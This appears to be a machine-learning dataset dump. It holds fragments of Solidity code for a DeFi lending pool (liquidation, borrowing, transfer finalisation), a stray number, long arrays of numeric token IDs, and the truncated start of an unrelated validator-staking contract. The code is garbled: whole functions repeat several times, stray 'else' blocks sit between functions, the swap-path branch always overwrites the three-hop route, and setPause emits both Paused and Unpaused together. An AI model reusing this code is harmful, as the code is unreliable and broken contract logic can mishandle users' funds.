IXToken(collateralReserve.xTokenAddress).transferOnLiquidation( user, msg.sender, (vars.maxCollateralToLiquidate.sub(vars.collateralToSell)) ); if (vars.liquidatorPreviousXTokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } if (vars.maxCollateralToLiquidate == vars.userBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } if(collateralAsset == debtAsset) { IVariableDebtToken(collateralReserve.variableDebtTokenAddress).burn( user, vars.collateralToSell, collateralReserve.variableBorrowIndex ); collateralReserve.updateInterestRates(collateralAsset, collateralReserve.xTokenAddress, 0, 0); IXToken(collateralReserve.xTokenAddress).burn( user, collateralReserve.xTokenAddress, vars.collateralToSell, collateralReserve.liquidityIndex ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.collateralToSell, vars.collateralToSell, msg.sender ); return; } collateralReserve.updateInterestRates( collateralAsset, collateralReserve.xTokenAddress, 0, vars.collateralToSell ); IXToken(collateralReserve.xTokenAddress).burn( user, address(this), vars.collateralToSell, collateralReserve.liquidityIndex ); IERC20(collateralAsset).safeApprove(address(uniswaper), 0); IERC20(collateralAsset).safeApprove( address(uniswaper), vars.collateralToSell ); address[] memory path; if (collateralAsset != wethAddress && debtAsset != wethAddress) { path = new address[](3); path[0] = collateralAsset; path[1] = wethAddress; path[2] = debtAsset; path = new address[](2); path[0] = collateralAsset; path[1] = debtAsset; } uint256[] memory awards = uniswaper.swapExactTokensForTokens( vars.collateralToSell, vars.variableDebt.mul(97).div(100), path, address(this), block.timestamp ); reDeposit(debtAsset, awards[awards.length - 1], user); emit LiquidationCall( collateralAsset, debtAsset, user, awards[awards.length - 1], vars.collateralToSell, msg.sender ); } function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover ) external override whenNotPaused { LiquidationCallLocalVars memory vars; DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; vars.variableDebt = Helpers.getUserCurrentDebt(user, debtReserve).div( 2 ); (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ValidationLogic.validateLiquidation( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.variableDebt ); vars.variableDebt = vars.variableDebt > debtToCover ? debtToCover : vars.variableDebt; vars.userBalance = IERC20(collateralReserve.xTokenAddress).balanceOf( user ); (vars.maxCollateralToLiquidate, vars.collateralToSell) = GenericLogic .calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.variableDebt, vars.userBalance, _addressesProvider.getPriceOracle() ); collateralReserve.updateState(); vars.liquidatorPreviousXTokenBalance = IERC20( collateralReserve .xTokenAddress ) .balanceOf(msg.sender); IXToken(collateralReserve.xTokenAddress).transferOnLiquidation( user, msg.sender, (vars.maxCollateralToLiquidate.sub(vars.collateralToSell)) ); if (vars.liquidatorPreviousXTokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } if (vars.maxCollateralToLiquidate == vars.userBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } if(collateralAsset == debtAsset) { IVariableDebtToken(collateralReserve.variableDebtTokenAddress).burn( user, vars.collateralToSell, collateralReserve.variableBorrowIndex ); collateralReserve.updateInterestRates(collateralAsset, collateralReserve.xTokenAddress, 0, 0); IXToken(collateralReserve.xTokenAddress).burn( user, collateralReserve.xTokenAddress, vars.collateralToSell, collateralReserve.liquidityIndex ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.collateralToSell, vars.collateralToSell, msg.sender ); return; } collateralReserve.updateInterestRates( collateralAsset, collateralReserve.xTokenAddress, 0, vars.collateralToSell ); IXToken(collateralReserve.xTokenAddress).burn( user, address(this), vars.collateralToSell, collateralReserve.liquidityIndex ); IERC20(collateralAsset).safeApprove(address(uniswaper), 0); IERC20(collateralAsset).safeApprove( address(uniswaper), vars.collateralToSell ); address[] memory path; if (collateralAsset != wethAddress && debtAsset != wethAddress) { path = new address[](3); path[0] = collateralAsset; path[1] = wethAddress; path[2] = debtAsset; path = new address[](2); path[0] = collateralAsset; path[1] = debtAsset; } uint256[] memory awards = uniswaper.swapExactTokensForTokens( vars.collateralToSell, vars.variableDebt.mul(97).div(100), path, address(this), block.timestamp ); reDeposit(debtAsset, awards[awards.length - 1], user); emit LiquidationCall( collateralAsset, debtAsset, user, awards[awards.length - 1], vars.collateralToSell, msg.sender ); } function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover ) external override whenNotPaused { LiquidationCallLocalVars memory vars; DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; vars.variableDebt = Helpers.getUserCurrentDebt(user, debtReserve).div( 2 ); (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ValidationLogic.validateLiquidation( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.variableDebt ); vars.variableDebt = vars.variableDebt > debtToCover ? debtToCover : vars.variableDebt; vars.userBalance = IERC20(collateralReserve.xTokenAddress).balanceOf( user ); (vars.maxCollateralToLiquidate, vars.collateralToSell) = GenericLogic .calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.variableDebt, vars.userBalance, _addressesProvider.getPriceOracle() ); collateralReserve.updateState(); vars.liquidatorPreviousXTokenBalance = IERC20( collateralReserve .xTokenAddress ) .balanceOf(msg.sender); IXToken(collateralReserve.xTokenAddress).transferOnLiquidation( user, msg.sender, (vars.maxCollateralToLiquidate.sub(vars.collateralToSell)) ); if (vars.liquidatorPreviousXTokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } if (vars.maxCollateralToLiquidate == vars.userBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } if(collateralAsset == debtAsset) { IVariableDebtToken(collateralReserve.variableDebtTokenAddress).burn( user, vars.collateralToSell, collateralReserve.variableBorrowIndex ); collateralReserve.updateInterestRates(collateralAsset, collateralReserve.xTokenAddress, 0, 0); IXToken(collateralReserve.xTokenAddress).burn( user, collateralReserve.xTokenAddress, vars.collateralToSell, collateralReserve.liquidityIndex ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.collateralToSell, vars.collateralToSell, msg.sender ); return; } collateralReserve.updateInterestRates( collateralAsset, collateralReserve.xTokenAddress, 0, vars.collateralToSell ); IXToken(collateralReserve.xTokenAddress).burn( user, address(this), vars.collateralToSell, collateralReserve.liquidityIndex ); IERC20(collateralAsset).safeApprove(address(uniswaper), 0); IERC20(collateralAsset).safeApprove( address(uniswaper), vars.collateralToSell ); address[] memory path; if (collateralAsset != wethAddress && debtAsset != wethAddress) { path = new address[](3); path[0] = collateralAsset; path[1] = wethAddress; path[2] = debtAsset; path = new address[](2); path[0] = collateralAsset; path[1] = debtAsset; } uint256[] memory awards = uniswaper.swapExactTokensForTokens( vars.collateralToSell, vars.variableDebt.mul(97).div(100), path, address(this), block.timestamp ); reDeposit(debtAsset, awards[awards.length - 1], user); emit LiquidationCall( collateralAsset, debtAsset, user, awards[awards.length - 1], vars.collateralToSell, msg.sender ); } } else { function getReserveData(address asset) external view override returns (DataTypes.ReserveData memory) { return _reserves[asset]; } function getUserAccountData(address user) external view override returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { ( totalCollateralETH, totalDebtETH, ltv, currentLiquidationThreshold, healthFactor ) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH( totalCollateralETH, totalDebtETH, ltv ); } function getConfiguration(address asset) external view override returns (DataTypes.ReserveConfigurationMap memory) { return _reserves[asset].configuration; } function getUserConfiguration(address user) external view override returns (DataTypes.UserConfigurationMap memory) { return _usersConfig[user]; } function getReserveNormalizedIncome(address asset) external view virtual override returns (uint256) { return _reserves[asset].getNormalizedIncome(); } function getReserveNormalizedVariableDebt(address asset) external view override returns (uint256) { return _reserves[asset].getNormalizedDebt(); } function paused() external view override returns (bool) { return _paused; } function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } function getAddressesProvider() external view override returns (IMarginPoolAddressesProvider) { return _addressesProvider; } function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require( msg.sender == _reserves[asset].xTokenAddress, Errors.MP_CALLER_MUST_BE_AN_XTOKEN ); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require( msg.sender == _reserves[asset].xTokenAddress, Errors.MP_CALLER_MUST_BE_AN_XTOKEN ); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require( msg.sender == _reserves[asset].xTokenAddress, Errors.MP_CALLER_MUST_BE_AN_XTOKEN ); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require( msg.sender == _reserves[asset].xTokenAddress, Errors.MP_CALLER_MUST_BE_AN_XTOKEN ); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } function initReserve( address asset, address xTokenAddress, address variableDebtAddress, address interestRateStrategyAddress ) external override onlyMarginPoolConfigurator { require(Address.isContract(asset), Errors.MP_NOT_CONTRACT); _reserves[asset].init( xTokenAddress, variableDebtAddress, interestRateStrategyAddress ); _addReserveToList(asset); } function setReserveInterestRateStrategyAddress( address asset, address rateStrategyAddress ) external override onlyMarginPoolConfigurator { _reserves[asset].interestRateStrategyAddress = rateStrategyAddress; } function setConfiguration(address asset, uint256 configuration) external override onlyMarginPoolConfigurator { _reserves[asset].configuration.data = configuration; } function setPause(bool val) external override onlyMarginPoolConfigurator { _paused = val; if (_paused) { emit Paused(); emit Unpaused(); } } function setPause(bool val) external override onlyMarginPoolConfigurator { _paused = val; if (_paused) { emit Paused(); emit Unpaused(); } } } else { struct ExecuteBorrowParams { address asset; address user; address onBehalfOf; uint256 amount; address xTokenAddress; bool releaseUnderlying; } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle) .getAssetPrice(vars.asset) .mul(vars.amount) .div(10**reserve.configuration.getDecimals()); ValidationLogic.validateBorrow( reserve, vars.onBehalfOf, vars.amount, amountInETH, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); bool isFirstBorrowing = false; isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress) .mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.xTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IXToken(vars.xTokenAddress).transferUnderlyingTo( vars.user, vars.amount ); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, reserve.currentVariableBorrowRate ); } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle) .getAssetPrice(vars.asset) .mul(vars.amount) .div(10**reserve.configuration.getDecimals()); ValidationLogic.validateBorrow( reserve, vars.onBehalfOf, vars.amount, amountInETH, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); bool isFirstBorrowing = false; isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress) .mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.xTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IXToken(vars.xTokenAddress).transferUnderlyingTo( vars.user, vars.amount ); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, reserve.currentVariableBorrowRate ); } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle) .getAssetPrice(vars.asset) .mul(vars.amount) .div(10**reserve.configuration.getDecimals()); ValidationLogic.validateBorrow( reserve, vars.onBehalfOf, vars.amount, amountInETH, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); bool isFirstBorrowing = false; isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress) .mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.xTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IXToken(vars.xTokenAddress).transferUnderlyingTo( vars.user, vars.amount ); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, reserve.currentVariableBorrowRate ); } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require( reservesCount < MAX_NUMBER_RESERVES, Errors.MP_NO_MORE_RESERVES_ALLOWED ); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require( reservesCount < MAX_NUMBER_RESERVES, Errors.MP_NO_MORE_RESERVES_ALLOWED ); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } }
16,561,439
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2649, 490, 5243, 2864, 6835, 632, 5206, 12740, 1634, 434, 13581, 598, 392, 3519, 502, 1771, 1807, 13667, 300, 12109, 848, 30, 282, 468, 4019, 538, 305, 282, 468, 3423, 9446, 282, 468, 605, 15318, 282, 468, 868, 10239, 282, 468, 511, 18988, 350, 340, 6865, 300, 2974, 506, 18147, 635, 279, 2889, 6835, 16, 16199, 635, 326, 490, 5243, 2864, 7148, 2249, 434, 326, 2923, 13667, 300, 4826, 3981, 4186, 854, 4140, 635, 326, 490, 5243, 2864, 17182, 6835, 2553, 2546, 316, 326, 282, 490, 5243, 2864, 7148, 2249, 632, 4161, 3519, 502, 19, 5254, 1664, 1472, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 490, 5243, 2864, 353, 18607, 4435, 6934, 16, 6246, 5243, 2864, 16, 490, 5243, 2864, 3245, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 678, 361, 54, 528, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 21198, 410, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 9931, 67, 862, 2123, 3412, 55, 273, 8038, 31, 203, 565, 2254, 5034, 1071, 5381, 490, 985, 7702, 20339, 67, 862, 25216, 273, 374, 92, 21, 31, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 640, 291, 91, 7294, 31, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 272, 1218, 77, 6050, 7294, 31, 203, 565, 1758, 1071, 341, 546, 1887, 31, 203, 565, 1758, 1071, 5381, 316, 4964, 273, 374, 92, 23680, 2499, 2138, 6564, 22, 40, 7140, 38, 23, 26897, 8148, 16985, 6260, 4700, 21, 71, 22, 72, 6743, 1403, 24, 29534, 69, 5558, 31, 203, 203, 565, 9606, 1347, 1248, 28590, 1435, 288, 203, 3639, 389, 13723, 1248, 28590, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 9524, 2864, 17182, 1435, 288, 203, 3639, 389, 3700, 9524, 2864, 17182, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 389, 13723, 1248, 28590, 1435, 2713, 1476, 288, 203, 3639, 2583, 12, 5, 67, 8774, 3668, 16, 9372, 18, 4566, 67, 5127, 67, 4066, 20093, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 3700, 9524, 2864, 17182, 1435, 2713, 1476, 288, 203, 3639, 2583, 12, 203, 5411, 389, 13277, 2249, 18, 588, 9524, 2864, 17182, 1435, 422, 1234, 18, 15330, 16, 203, 5411, 9372, 18, 4566, 67, 13730, 654, 67, 4400, 67, 19772, 7702, 67, 20339, 67, 7203, 1099, 3575, 203, 3639, 11272, 203, 565, 289, 203, 203, 565, 445, 26911, 1435, 2713, 16618, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 490, 985, 7702, 20339, 67, 862, 25216, 31, 203, 565, 289, 203, 203, 565, 445, 4046, 12, 203, 3639, 6246, 5243, 2864, 7148, 2249, 2893, 16, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 7294, 16, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 87, 1218, 77, 6050, 7294, 16, 203, 3639, 1758, 389, 91, 546, 203, 565, 262, 1071, 12562, 288, 203, 3639, 389, 13277, 2249, 273, 2893, 31, 203, 3639, 640, 291, 91, 7294, 273, 389, 318, 291, 91, 7294, 31, 203, 3639, 272, 1218, 77, 6050, 7294, 273, 389, 87, 1218, 77, 6050, 7294, 31, 203, 3639, 341, 546, 1887, 273, 389, 91, 546, 31, 203, 565, 289, 203, 203, 565, 445, 443, 1724, 12, 203, 3639, 1758, 3310, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1758, 603, 1919, 20222, 951, 203, 565, 262, 3903, 3849, 1347, 1248, 28590, 288, 203, 3639, 1910, 2016, 18, 607, 6527, 751, 2502, 20501, 273, 389, 455, 264, 3324, 63, 9406, 15533, 203, 203, 3639, 5684, 20556, 18, 5662, 758, 1724, 12, 455, 6527, 16, 3844, 1769, 203, 203, 3639, 1758, 619, 1345, 273, 20501, 18, 92, 1345, 1887, 31, 203, 203, 3639, 20501, 18, 2725, 1119, 5621, 203, 3639, 20501, 18, 2725, 29281, 20836, 12, 9406, 16, 619, 1345, 16, 3844, 16, 374, 1769, 203, 203, 3639, 467, 654, 39, 3462, 12, 9406, 2934, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 619, 1345, 16, 3844, 1769, 203, 3639, 389, 323, 1724, 20556, 12, 9406, 16, 3844, 16, 603, 1919, 20222, 951, 16, 619, 1345, 16, 20501, 1769, 203, 565, 289, 203, 203, 565, 445, 283, 758, 1724, 12, 203, 3639, 1758, 3310, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1758, 603, 1919, 20222, 951, 203, 565, 262, 2713, 1347, 1248, 28590, 288, 203, 3639, 1910, 2016, 18, 607, 6527, 751, 2502, 20501, 273, 389, 455, 264, 3324, 63, 9406, 15533, 203, 203, 3639, 5684, 20556, 18, 5662, 758, 1724, 12, 455, 6527, 16, 3844, 1769, 203, 203, 3639, 1758, 619, 1345, 273, 20501, 18, 92, 1345, 1887, 31, 203, 203, 3639, 20501, 18, 2725, 1119, 5621, 203, 3639, 20501, 18, 2725, 29281, 20836, 12, 9406, 16, 619, 1345, 16, 3844, 16, 374, 1769, 203, 203, 3639, 467, 654, 39, 3462, 12, 9406, 2934, 4626, 5912, 12, 92, 1345, 16, 3844, 1769, 203, 3639, 389, 323, 1724, 20556, 12, 9406, 16, 3844, 16, 603, 1919, 20222, 951, 16, 619, 1345, 16, 20501, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 323, 1724, 20556, 12, 203, 3639, 1758, 3310, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1758, 603, 1919, 20222, 951, 16, 203, 3639, 1758, 619, 1345, 16, 203, 3639, 1910, 2016, 18, 607, 6527, 751, 2502, 20501, 203, 565, 262, 2713, 288, 203, 3639, 2254, 5034, 2190, 758, 23602, 273, 17090, 18, 588, 1299, 3935, 758, 23602, 12, 265, 1919, 20222, 951, 16, 20501, 1769, 203, 3639, 309, 261, 6105, 758, 23602, 405, 374, 13, 288, 203, 5411, 2254, 5034, 8843, 823, 6275, 273, 2190, 758, 23602, 31, 203, 203, 5411, 309, 261, 8949, 411, 8843, 823, 6275, 13, 288, 203, 7734, 8843, 823, 6275, 273, 3844, 31, 203, 5411, 289, 203, 203, 5411, 467, 3092, 758, 23602, 1345, 12, 455, 6527, 18, 6105, 758, 23602, 1345, 1887, 2934, 70, 321, 12, 203, 7734, 603, 1919, 20222, 951, 16, 203, 7734, 8843, 823, 6275, 16, 203, 7734, 20501, 18, 6105, 38, 15318, 1016, 203, 5411, 11272, 203, 203, 5411, 3626, 868, 10239, 12, 9406, 16, 603, 1919, 20222, 951, 16, 1234, 18, 15330, 16, 8843, 823, 6275, 1769, 203, 203, 5411, 309, 261, 6105, 758, 23602, 422, 8843, 823, 6275, 13, 288, 203, 7734, 389, 5577, 809, 63, 265, 1919, 20222, 951, 8009, 542, 38, 15318, 310, 12, 455, 6527, 18, 350, 16, 629, 1769, 203, 5411, 289, 203, 203, 5411, 309, 261, 8949, 405, 8843, 823, 6275, 13, 288, 203, 7734, 1426, 17447, 758, 1724, 273, 203, 10792, 467, 60, 1345, 12, 92, 1345, 2934, 81, 474, 12, 203, 13491, 603, 1919, 20222, 951, 16, 203, 13491, 3844, 18, 1717, 2 ]
pragma solidity ^0.4.23; // Copyright 2018 OpenST Ltd. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @title AuxiliaryStake tracks the validator deposits of the Mosaic * validators. The set of validators will change with new OSTblocks * opening on auxiliary. This contract should always know the active * validators and their respective stake. */ contract AuxiliaryStake { /* Structs */ /** * A validator deposited stake on origin to enter the set of validators. */ struct Validator { /** The address of the validator on auxiliary. */ address auxiliaryAddress; /** The amount of OST that the validator deposited on origin. */ uint256 stake; /** When set to `true`, check `endHeight` to know the last OSTblock. */ bool ended; /** * The OSTblock height where this validator will enter the set of * validators. Usually, when a validator deposits at OSTblock height h, * then OSTblock h+1 announces that the validator will join in OSTblock * h+2. * The validator will participate starting from the OSTblock with * exactly this height. */ uint256 startHeight; /** * The OSTblock height where this validator will exit the set of * validators. Usually, when a validator withdraws at OSTblock height * h, then OSTblock h+1 announces that the validator will leave in * OSTblock h+2. * The OSTblock with this height will be the first block where the * validator does not participate anymore. */ uint256 endHeight; } /* Public Variables */ /** * The OSTblock gate is the only contract that is allowed to update the * OSTblock height. */ address public ostBlockGate; /** * Tracks the current height of the OSTblock within this contract. We track * this here to make certain assertions about newly reported OSTblocks and * to know what current height we are voting on. */ uint256 public currentOstBlockHeight; /** * Maps auxiliary addresses of validators to their details. * * The initial set will be given at construction. Later, validators can * enter and leave the set of validators through the reporting of new * OSTblocks to auxiliary. Validators that left the set of validators are * still kept in the mapping, with `ended` set to `true`. * * One address can never stake more than once. */ mapping (address => Validator) public validators; /** * Maps the OSTblock height to the total stake at that height. The total * stake is the sum of all deposits that took place at least two OSTblocks * before and that have not withdrawn at least two OSTblocks before. */ mapping (uint256 => uint256) public totalStakes; /* Constructor */ /** * @notice Initialise the contract with an initial set of validators. * Provide two arrays with the validators' addresses on auxiliary * and their respective stakes at the same index. If an auxiliary * address and a stake have the same index in the provided arrays, * they are regarded as belonging to the same validator. * * @param _ostBlockGate The OSTblock gate is the only address that is * allowed to call methods that update the current * height of the OSTblock chain. * @param _auxiliaryAddresses An array of validators' addresses on * auxiliary. * @param _stakes The stakes of the validators on origin. Indexed the same * way as the _auxiliaryAddresses. */ constructor ( address _ostBlockGate, address[] _auxiliaryAddresses, uint256[] _stakes ) public { require( _ostBlockGate != address(0), "The address of the validator manager must not be zero." ); require( _auxiliaryAddresses.length > 0, "The count of initial validators must be at least one." ); ostBlockGate = 